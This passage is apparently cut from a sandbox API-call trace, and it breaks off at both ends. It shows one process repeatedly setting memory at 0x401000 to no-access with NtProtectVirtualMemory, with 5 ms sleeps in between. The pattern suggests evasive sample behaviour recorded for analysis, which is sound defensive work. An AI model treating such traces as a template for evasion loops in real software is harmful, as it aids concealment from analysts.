OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.995] Sleep (dwMilliseconds=0x5) [0308.041] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.042] Sleep (dwMilliseconds=0x5) [0308.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.090] Sleep (dwMilliseconds=0x5) [0308.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.136] Sleep (dwMilliseconds=0x5) [0308.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.186] Sleep (dwMilliseconds=0x5) [0308.254] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.309] Sleep (dwMilliseconds=0x5) [0308.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.359] Sleep (dwMilliseconds=0x5) [0308.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.402] Sleep (dwMilliseconds=0x5) [0308.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.451] Sleep (dwMilliseconds=0x5) [0308.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.501] Sleep (dwMilliseconds=0x5) [0308.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.543] Sleep (dwMilliseconds=0x5) [0308.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.593] Sleep (dwMilliseconds=0x5) [0308.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.641] Sleep (dwMilliseconds=0x5) [0308.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.691] Sleep (dwMilliseconds=0x5) [0308.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.739] Sleep (dwMilliseconds=0x5) [0308.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.807] Sleep (dwMilliseconds=0x5) [0308.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.860] Sleep (dwMilliseconds=0x5) [0308.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.904] Sleep (dwMilliseconds=0x5) [0308.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.954] Sleep (dwMilliseconds=0x5) [0308.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.996] Sleep (dwMilliseconds=0x5) [0309.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.045] Sleep (dwMilliseconds=0x5) [0309.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.092] Sleep (dwMilliseconds=0x5) [0309.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.140] Sleep (dwMilliseconds=0x5) [0309.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.183] Sleep (dwMilliseconds=0x5) [0309.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.234] Sleep (dwMilliseconds=0x5) [0309.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.293] Sleep (dwMilliseconds=0x5) [0309.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.342] Sleep (dwMilliseconds=0x5) [0309.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.386] Sleep (dwMilliseconds=0x5) [0309.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.433] Sleep (dwMilliseconds=0x5) [0309.480] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.480] Sleep (dwMilliseconds=0x5) [0309.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.530] Sleep (dwMilliseconds=0x5) [0309.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.574] Sleep (dwMilliseconds=0x5) [0309.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.668] Sleep (dwMilliseconds=0x5) [0309.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.717] Sleep (dwMilliseconds=0x5) [0309.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.765] Sleep (dwMilliseconds=0x5) [0309.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.838] Sleep (dwMilliseconds=0x5) [0309.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.889] Sleep (dwMilliseconds=0x5) [0309.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.935] Sleep (dwMilliseconds=0x5) [0309.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.983] Sleep (dwMilliseconds=0x5) [0310.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.027] Sleep (dwMilliseconds=0x5) [0310.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.075] Sleep (dwMilliseconds=0x5) [0310.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.121] Sleep (dwMilliseconds=0x5) [0310.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.168] Sleep (dwMilliseconds=0x5) [0310.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.219] Sleep (dwMilliseconds=0x5) [0310.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.280] Sleep (dwMilliseconds=0x5) [0310.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.327] Sleep (dwMilliseconds=0x5) [0310.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.374] Sleep (dwMilliseconds=0x5) [0310.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.419] Sleep (dwMilliseconds=0x5) [0310.468] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.469] Sleep (dwMilliseconds=0x5) [0310.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.520] Sleep (dwMilliseconds=0x5) [0310.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.567] Sleep (dwMilliseconds=0x5) [0310.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.623] Sleep (dwMilliseconds=0x5) [0310.669] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.670] Sleep (dwMilliseconds=0x5) [0310.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.716] Sleep (dwMilliseconds=0x5) [0310.769] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.770] Sleep (dwMilliseconds=0x5) [0310.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.935] Sleep (dwMilliseconds=0x5) [0310.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.982] Sleep (dwMilliseconds=0x5) [0311.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.030] Sleep (dwMilliseconds=0x5) [0311.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.076] Sleep (dwMilliseconds=0x5) [0311.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.121] Sleep (dwMilliseconds=0x5) [0311.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.169] Sleep (dwMilliseconds=0x5) [0311.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.213] Sleep (dwMilliseconds=0x5) [0311.274] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.275] Sleep (dwMilliseconds=0x5) [0311.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.324] Sleep (dwMilliseconds=0x5) [0311.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.377] Sleep (dwMilliseconds=0x5) [0311.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.424] Sleep (dwMilliseconds=0x5) [0311.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.468] Sleep (dwMilliseconds=0x5) [0311.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.514] Sleep (dwMilliseconds=0x5) [0311.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.562] Sleep (dwMilliseconds=0x5) [0311.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.607] Sleep (dwMilliseconds=0x5) [0311.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.654] Sleep (dwMilliseconds=0x5) [0311.698] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.699] Sleep (dwMilliseconds=0x5) [0311.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.752] Sleep (dwMilliseconds=0x5) [0311.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.838] Sleep (dwMilliseconds=0x5) [0311.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: 